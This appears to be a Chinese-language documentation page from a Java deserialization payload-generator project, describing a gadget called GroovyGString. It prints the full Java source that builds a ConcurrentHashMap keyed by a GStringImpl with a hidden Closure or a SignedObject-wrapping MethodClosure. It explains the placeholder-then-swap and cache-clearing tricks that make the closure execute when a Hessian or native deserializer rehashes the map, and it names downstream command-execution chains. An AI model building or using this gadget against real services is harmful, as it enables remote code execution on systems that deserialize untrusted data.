Skip to content

Latest commit

 

History

History
71 lines (61 loc) · 5.27 KB

File metadata and controls

71 lines (61 loc) · 5.27 KB

GroovyGString(GroovyGString)

  • 类别:hessian 别名:— 优先级:—
  • 作者:—
  • 依赖org.codehaus.groovy:groovy

作用

构造一个以 GStringImpl 为 key 的 ConcurrentHashMapGStringImpl.values 中埋入一个 Closure(或包装 SignedObjectMethodClosure)。当 Hessian/原生反序列化重建 ConcurrentHashMap 时,对 key 计算 hashCode 会强制 GStringImpl 重新求值 toString(),进而执行 values 里的 Closure,把控制权交给下游 Groovy 闭包链或二次反序列化链。

链接标签

  • 入口 tagsHessianDeserialize —— 承接 Hessian 反序列化入口。
  • 衔接 nextTagsClosureWithRuntimeChain(下游给一个可执行命令的 Groovy Closure)、SignedObjectChain(下游给一个 SignedObject,通过 getObject 触发二次反序列化)。
  • excludes:无。

源码剖析

public Object getObject(Object nextObj) throws Exception {
    Object closureAction;
    if (nextObj instanceof Closure) {
        closureAction = nextObj;                                  // 下游直接给 Closure
    } else if (nextObj instanceof SignedObject) {
        closureAction = new MethodClosure(nextObj, "getObject");  // 下游给 SignedObject → 包成调用 getObject 的 MethodClosure
    } else {
        String type = nextObj == null ? "null" : nextObj.getClass().getName();
        ThrowsUtil.throwGadgetException("GroovyGString requires Closure or SignedObject, got: " + type);
        return null;
    }
    if (closureAction instanceof Closure) {
        GroovyGString.normalizeClosure((Closure)closureAction);   // 抹平参数元数据,保证可无参调用
    }
    GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
    String[] strings = new String[]{"", ""};
    Reflections.setFieldValue(gString, "strings", strings);       // GString 需要 strings.length == values.length+1
    Object[] dummyValues = new Object[]{new Object()};
    Reflections.setFieldValue(gString, "values", dummyValues);
    ConcurrentHashMap<GStringImpl, String> map = new ConcurrentHashMap<>();
    map.put(gString, "1");                                        // 先用无害 values 入 map,避免 put 阶段就触发
    Object[] maliciousValues = new Object[]{closureAction};
    Reflections.setFieldValue(gString, "values", maliciousValues); // 入 map 后再换成恶意 Closure
    GroovyGString.resetGStringCache(gString);                     // 清 cachedString/string/value
    GroovyGString.resetGStringHash(gString);                      // 清 hash/hashCode,逼迫重算
    return map;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject(chain.doCreate(context));
}

逐段解释:

  1. 两种下游形态Closure 直接用;SignedObject 则包成 new MethodClosure(signedObject, "getObject")——反序列化触发时闭包会调用 SignedObject.getObject(),从而在其内部再做一次原生反序列化(对接 SignedObjectChain)。
  2. normalizeClosuremaximumNumberOfParameters 置 0、parameterTypes 置空数组,确保 GString 求值时能以「零参」方式调用该 Closure,不会因参数不匹配抛异常。
  3. 先占位后替换的顺序很关键GStringImplcreateWithoutConstructor 无构造实例化,先塞入无害 dummyValuesmap.put。因为 ConcurrentHashMap.put 也会算一次 hashCode,若此时 values 已是恶意 Closure,会在构造 payload 阶段就本地引爆。put 完成后才用反射把 values 换成 maliciousValues
  4. resetGStringCache / resetGStringHash 清空 GStringImpl 内部对 toStringhashCode 结果的缓存字段(cachedString/string/value/hash/hashCode)。这样反序列化后首次对 key 求 hashCode 时,缓存失效 → 触发 GString.toString() 重新拼接 → 遍历 values → 执行埋入的 Closure

触发链ConcurrentHashMap.readObject(重建时 rehash)→ key.hashCode()GStringImpl.hashCode()(缓存已清)→ GString.toString() 求值 valuesClosure.call()

参数(@Param)

@Paramparams 为空)。行为完全由内层 Closure/SignedObject 决定。

适用版本与原理要点

  • 依赖 org.codehaus.groovy:groovy,利用 GStringImpl 内部 strings/values 与缓存字段布局;不同 Groovy 版本字段名基本稳定,resetGStringCache/resetGStringHashReflections.has 做存在性判断以兼容差异。
  • ConcurrentHashMap 为触发容器,天然适配 Hessian(Hessian 反序列化 Map 会重建并 rehash),也可用于其它会调用 key.hashCode 的场景。
  • 与经典 GroovyWithRef(走 ConvertedClosure+TreeSet.compareTo)不同,本 gadget 走 GString.toString,触发面更隐蔽。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。

关联

  • 下游(nextTags):ClosureWithRuntimeChain 类(如 ClosureWithRuntime)提供命令执行闭包;SignedObjectChainSignedObject)用于二次反序列化桥接。
  • 同族:GroovyWithRef(frohoff 版 Groovy ConvertedClosure+TreeSet 触发)。